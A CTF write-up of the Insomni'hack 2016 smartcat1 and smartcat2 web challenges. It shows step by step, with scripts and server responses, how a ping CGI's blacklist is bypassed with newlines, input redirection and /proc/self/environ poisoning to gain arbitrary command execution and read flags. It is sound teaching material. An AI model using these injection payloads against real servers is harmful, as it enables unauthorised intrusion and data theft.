Insomni'hack 2016 Teaser CTF - Declawing smartcat1 and smartcat2

This weekend was the Insomni'hack 2016 Teaser CTF with a bunch of IoT-themed challenges.

Many thanks to Insomni'hack for a fantastic CTF :)

This is a writeup of the smartcat1 and smartcat2 Web challenges.

smartcat1 and smartcat2 were some of the most often asked-about challenges in the channel, and like cats, were quite cute challenges.

As you began the contest, you can only see the smartcat1 challenge (spoiler: the challenge turns in to smartcat2 once you solve smartcat1).

smartcat1

The briefing for smartcat1 reads:

smartcat1 - Web - 50 pts - realized by grimmlin
Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here (http://smartcat.insomnihack.ch/cgi-bin/index.cgi) and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently

Browsing to the challenge page, we are greeted with the Smart Cat debugging interface.

Submitting an expected value, such as 8.8.8.8, seems to achieve a ping by the server.

% curl -X 'POST' --data-binary $'dest=8.8.8.8' 'http://smartcat.insomnihack.ch/cgi-bin/index.cgi'

<html>

<head><title>Can I haz Smart Cat ???</title></head>

<body>

  <h3> Smart Cat debugging interface </h3>



  <form method="post" action="index.cgi">
    <p>Ping destination: <input type="text" name="dest"/></p>
  </form>

  <p>Ping results:</p><br/>
  <pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=0.867 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.867/0.867/0.867/0.000 ms
</pre>

  <img src="../img/cat.jpg"/>

</body>

</html>

Let's whip up a small python script for rapidly poking the app:

#!/usr/bin/env python
import requests
import sys
import re

if len(sys.argv) < 2:
  print "Usage: {0} <ping-dest>".format(sys.argv[0])
  exit(1)

# challenge url
url = "http://smartcat.insomnihack.ch/cgi-bin/index.cgi"

# grab the ping destination from command-line param
data = {
  "dest": sys.argv[1]
}

# do the request
response = requests.post(url, data=data)

# carve out the interesting stuff using regex
# you shouldn't use regex for carving stuff out of html lest you tempt Zalgo
interesting = re.search("(<p>Ping results:</p>(.|\n)*</pre>)", response.text, re.MULTILINE)

if interesting:
  print interesting.group(1)
else:
  print "This shouldn't happen"

Example usage:

% ./catcall.py 8.8.8.8
<p>Ping results:</p><br/>
  <pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=0.861 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.861/0.861/0.861/0.000 ms
</pre>

Trying the usual command-injection vectors such as ;id, |id, $(id) and so on proved to be unsuccessful. Any input containing most shell metacharacters such as ; or | returned an error:

% ./catcall.py ';'
<p>Ping results:</p><br/>
  <pre>Bad character ; in dest</pre>
% ./catcall.py '|'
<p>Ping results:</p><br/>
  <pre>Bad character | in dest</pre>

Traditional command injection is out. After some fiddling, we discover that newline characters (which are URL-encoded as %0a) are not banned, and allow us to inject commands! \o/

% ./catcall.py $'\nid'
<p>Ping results:</p><br/>
  <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

However, we are forbidden from using space characters:

% ./catcall.py $'\nuname -a'
<p>Ping results:</p><br/>
  <pre>Bad character   in dest</pre>

As well as tab characters:

% ./catcall.py $'\nuname\t-a'
<p>Ping results:</p><br/>
  <pre>Bad character     in dest</pre>

We can use ls to see what's around (as the challenge briefing tells us a "contract number" is "stored somewhere on that interface"):

% ./catcall.py $'\nls'
<p>Ping results:</p><br/>
  <pre>index.cgi
there
</pre>

However, a HTTP request of 'there' shows it to be a directory:

% curl -i "http://smartcat.insomnihack.ch/cgi-bin/there"
HTTP/1.1 301 Moved Permanently
Date: Sun, 17 Jan 2016 12:46:48 GMT
Server: Apache/2.4.7 (Ubuntu)
Location: http://smartcat.insomnihack.ch/cgi-bin/there/
Content-Length: 341
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://smartcat.insomnihack.ch/cgi-bin/there/">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
</body></html>

Since we can't use whitespace in our command injection, we cannot ls there to see inside of it.

What we can do is have a peek at index.cgi to see what we're up against. Using < to perform input redirection, we can cat files (the use of cat is hinted at by the title of the challenge) without using whitespace characters:

% ./catcall.py $'\ncat<index.cgi'
<p>Ping results:</p><br/>
  <pre>#!/usr/bin/env python

import cgi, subprocess, os

headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"]

print "X-Powered-By: %s" % headers[os.getpid()%4]
print "Content-type: text/html"
print

print """
&lt;html&gt;

&lt;head&gt;&lt;title&gt;Can I haz Smart Cat ???&lt;/title&gt;&lt;/head&gt;

&lt;body&gt;

  &lt;h3&gt; Smart Cat debugging interface &lt;/h3&gt;
"""

blacklist = " $;&amp;|({`\t"
results = ""
form = cgi.FieldStorage()
dest = form.getvalue("dest", "127.0.0.1")
for badchar in blacklist:
        if badchar in dest:
                results = "Bad character %s in dest" % badchar
                break

if "%n" in dest:
        results = "Segmentation fault"

if not results:
        try:
                results = subprocess.check_output("ping -c 1 "+dest, shell=True)
        except:
                results = "Error running " + "ping -c 1 "+dest


print """

  &lt;form method="post" action="index.cgi"&gt;
    &lt;p&gt;Ping destination: &lt;input type="text" name="dest"/&gt;&lt;/p&gt;
  &lt;/form&gt;

  &lt;p&gt;Ping results:&lt;/p&gt;&lt;br/&gt;
  &lt;pre&gt;%s&lt;/pre&gt;

  &lt;img src="../img/cat.jpg"/&gt;

&lt;/body&gt;

&lt;/html&gt;
""" % cgi.escape(results)
</pre>

From this, we see that the banned characters are space, $, ;, &, |, (, {, ` and \t. At least we know what we're up against.

It turns out that find, when executed without arguments, will show a recursive listing of files in the current directory (tree would do the same but doesn't appear to be available to us). Running find we see:

% ./catcall.py $'\nfind'
<p>Ping results:</p><br/>
  <pre>.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
</pre>

Apache isn't happy serving up this file for some reason (it's probably trying to run it, as it lives under cgi-bin):

% curl -i "http://smartcat.insomnihack.ch/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag"
HTTP/1.1 500 Internal Server Error
Date: Sun, 17 Jan 2016 12:56:56 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 620
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
 webmaster@localhost to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80</address>
</body></html>

However, cat comes to our rescue:

% ./catcall.py $'\ncat<there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag'
<p>Ping results:</p><br/>
  <pre>INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>

smartcat2

After submitting the flag for smartcat1, the challenge magically becomes smartcat2.

The new briefing reads:

smartcat2 - Web - 50 pts - realized by grimmlin

Almost there, but now you should be able to do better than a cat (sorry about the pun)
I'm sure you can leverage the previous bug to get a shell
Go on that debug interface (http://smartcat.insomnihack.ch/cgi-bin/index.cgi) again and read the flag in /home/smartcat/

Time to crack out the shell-fu!

We find that index.cgi, as it shells out, has access to /proc/self/environ which contains some data we might be able to influence.

A bit of background info according to my (probably wrong) understanding of UNIX internals: /proc is a pseudo filesystem that contains a bunch of stuff. Under /proc/, among other things, there is a number (heh) of directories, named using the PID of each running process. For example, /proc/1 is a directory containing files related to the init process, a process that is always started as PID 1. /proc/1/environ is a file containing the state of init's environment variables.

In the usual handy UNIX fashion, there is a magic symlink at /proc/self that always points to the /proc/<PID> directory of the process that is tickling it. For example, if you do ls /proc/self/ then you'll be looking at the contents of the /proc/<PID> directory for the ls process, and if you do cat /proc/self/environ then you'll be looking at the state of cat's environment.

Peeking at the /proc/self/environ of the process of the shell that Python throws with subprocess.check_output() we see:

% ./catcall.py $'\ncat</proc/self/environ'
<p>Ping results:</p><br/>
  <pre>SCRIPT_URL=/cgi-bin/index.cgiSCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgiHTTP_HOST=smartcat.insomnihack.chCONTENT_LENGTH=38HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_ACCEPT=*/*HTTP_USER_AGENT=python-requests/2.9.1HTTP_CONNECTION=keep-aliveCONTENT_TYPE=application/x-www-form-urlencodedPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binSERVER_SIGNATURE=&lt;address&gt;Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80&lt;/address&gt;
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)SERVER_NAME=smartcat.insomnihack.chSERVER_ADDR=172.31.41.128SERVER_PORT=80REMOTE_ADDR=122.104.150.109DOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=/cgi-bin/CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/SERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/cgi-bin/index.cgiREMOTE_PORT=53412GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=POSTQUERY_STRING=REQUEST_URI=/cgi-bin/index.cgiSCRIPT_NAME=/cgi-bin/index.cgi</pre>

Note that there's a sneaky NULL byte delimiting each VARIABLE=value pair (look between ".cgi" and "SCRIPT_URI" and you'll see it):

% ./catcall.py $'\ncat</proc/self/environ' | grep -a SCRIPT_URL | xxd | head -n3
00000000: 2020 3c70 7265 3e53 4352 4950 545f 5552    <pre>SCRIPT_UR
00000010: 4c3d 2f63 6769 2d62 696e 2f69 6e64 6578  L=/cgi-bin/index
00000020: 2e63 6769 0053 4352 4950 545f 5552 493d  .cgi.SCRIPT_URI=

After some fiddling, we find that we can append /something to the URL and we'll still execute index.cgi - but it'll give us control of data in /proc/self/environ before the first NULL byte (which might get in our way if we try to do useful things with the contents of /proc/self/environ)

Let's make some quick modifications to our script to allow us to specify this something, and to make it verbose about what it's doing:

#!/usr/bin/env python
import requests
import sys
import re

if len(sys.argv) < 3:
  print "Usage: {0} <ping-dest> <url-something>".format(sys.argv[0])
  print "ping-dest will be submitted as the ping destination parameter"
  print "url-something (for lack of a better name) will be appended to the destination URL after a '/' char"
  exit(1)

# challenge url with the url-something parameter appended after a '/'
url = "http://smartcat.insomnihack.ch/cgi-bin/index.cgi/{0}".format(sys.argv[2])

# grab the ping destination from command-line param
data = {
  "dest": sys.argv[1]
}

# do the request
print "I'm about to request URL:"
print "---"
print url
print "---"
print
print "With a ping destination of:"
print "---"
print data["dest"]
print "---"
print
response = requests.post(url, data=data)

# carve out the interesting stuff using regex
# you shouldn't use regex for carving stuff out of html lest you tempt Zalgo
interesting = re.search("(<p>Ping results:</p>(.|\n)*</pre>)", response.text, re.MULTILINE)

if interesting:
  print "Response:"
  print "---"
  print interesting.group(1)
  print "---"
else:
  print "This shouldn't happen"

Showing we have control of the contents of /proc/self/environ:

% ./catcall2.py $'\ncat</proc/self/environ' 'Hello, world!'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/Hello, world!
---

With a ping destination of:
---

cat</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>SCRIPT_URL=/cgi-bin/index.cgi/Hello, world!SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi/Hello, world!HTTP_HOST=smartcat.insomnihack.chCONTENT_LENGTH=38HTTP_ACCEPT_ENCODING=gzip, deflateHTTP_ACCEPT=*/*HTTP_USER_AGENT=python-requests/2.9.1HTTP_CONNECTION=keep-aliveCONTENT_TYPE=application/x-www-form-urlencodedPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binSERVER_SIGNATURE=&lt;address&gt;Apache/2.4.7 (Ubuntu) Server at smartcat.insomnihack.ch Port 80&lt;/address&gt;
SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu)SERVER_NAME=smartcat.insomnihack.chSERVER_ADDR=172.31.41.128SERVER_PORT=80REMOTE_ADDR=122.104.150.109DOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=/cgi-bin/CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/SERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/cgi-bin/index.cgiREMOTE_PORT=53710GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=POSTQUERY_STRING=REQUEST_URI=/cgi-bin/index.cgi/Hello,%20world!SCRIPT_NAME=/cgi-bin/index.cgiPATH_INFO=/Hello, world!PATH_TRANSLATED=/var/www/html/Hello, world!</pre>
---

From here, we poison /proc/self/environ with the value \nuname -a;exit; and then feed /proc/self/environ to sh's STDIN using input redirection:

% ./catcall2.py $'\nsh</proc/self/environ' $'\nuname -a;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
uname -a;exit;
---

With a ping destination of:
---

sh</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>Linux smartcat 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
</pre>
---

Ahh. It's nice to be able to use whitespace in our command execution :)

From here, provided the challenge box didn't have egress filtering, it'd be trivial to throw a reverse shell and go poking. Let's see if we can make do with the command injection.

Having a peek at /home/smartcat/ we see:

% ./catcall2.py $'\nsh</proc/self/environ' $'\nls -la /home/smartcat/;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
ls -la /home/smartcat/;exit;
---

With a ping destination of:
---

sh</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>total 36
drwxr-xr-x 2 smartcat smartcat 4096 Jan 15 09:33 .
drwxr-xr-x 4 root     root     4096 Jan 15 09:27 ..
-rw-r--r-- 1 smartcat smartcat  220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 smartcat smartcat 3637 Apr  9  2014 .bashrc
-rw-r--r-- 1 smartcat smartcat  675 Apr  9  2014 .profile
-rw-r----- 1 root     smartcat  337 Jan 15 09:34 flag2
-rwxr-sr-x 1 root     smartcat 8951 Jan 15 09:32 readflag
</pre>
---

Being www-data we don't have privileges to read /home/smartcat/flag2 but we can execute /home/smartcat/readflag. readflag has a group of smartcat and its SETGID bit is set, meaning when run it will run with the privileges of the group smartcat. The group smartcat has permission to read flag2 and so running it is probably the way forward.

% ./catcall2.py $'\nsh</proc/self/environ' $'\n/home/smartcat/readflag;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
/home/smartcat/readflag;exit;
---

With a ping destination of:
---

sh</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>Error running ping -c 1
sh&lt;/proc/self/environ</pre>
---

Hmm... Looking back at the python code of index.cgi we see that "Error running" messages occur when the call to subprocess.check_output() throws an exception.

        try:
                results = subprocess.check_output("ping -c 1 "+dest, shell=True)
        except:
                results = "Error running " + "ping -c 1 "+dest

It's reasonable to assume that subprocess.check_output() throws an exception when what it shells out to returns an error code. /home/smartcat/readflag might be returning an error code to the shell that executes it. We can follow it with an execution of true to ensure that subprocess.check_output() doesn't think its execution failed and deserves an exception.

% ./catcall2.py $'\nsh</proc/self/environ' $'\n/home/smartcat/readflag;true;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
/home/smartcat/readflag;true;exit;
---

With a ping destination of:
---

sh</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.
</pre>
---

Doing the needful, using echo and sleep:

% ./catcall2.py $'\nsh</proc/self/environ' $'\n(echo "Give me a..."; sleep 2; echo "... flag!")|/home/smartcat/readflag;true;exit;'
I'm about to request URL:
---
http://smartcat.insomnihack.ch/cgi-bin/index.cgi/
(echo "Give me a..."; sleep 2; echo "... flag!")|/home/smartcat/readflag;true;exit;
---

With a ping destination of:
---

sh</proc/self/environ
---

Response:
---
<p>Ping results:</p><br/>
  <pre>Flag:
            ___
        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|  hjw
        "----^----"

INS{shells_are _way_better_than_cats}

</pre>
---

We have our flag! Without even needing a "real" shell :)

Alternative solution to smartcat2

When it comes to shell-fu, there are many ways to skin a cat (I'm not even sorry). gehaxelt shared with me a great solution that he found with the help of @nobbd

I used here document a la cat<<EOF>/tmp/file%0APYTHONCODE%0AEOF to write
python print statements a la print'\x20...' into /tmp/file then ran the python
script to create my shell script and then simple executed the readflag

He told me he's thinking of doing a writeup, and if he does I'm very much looking forward to reading it (and others) - and so should you. You can never have enough cute shell tricks up your sleeve.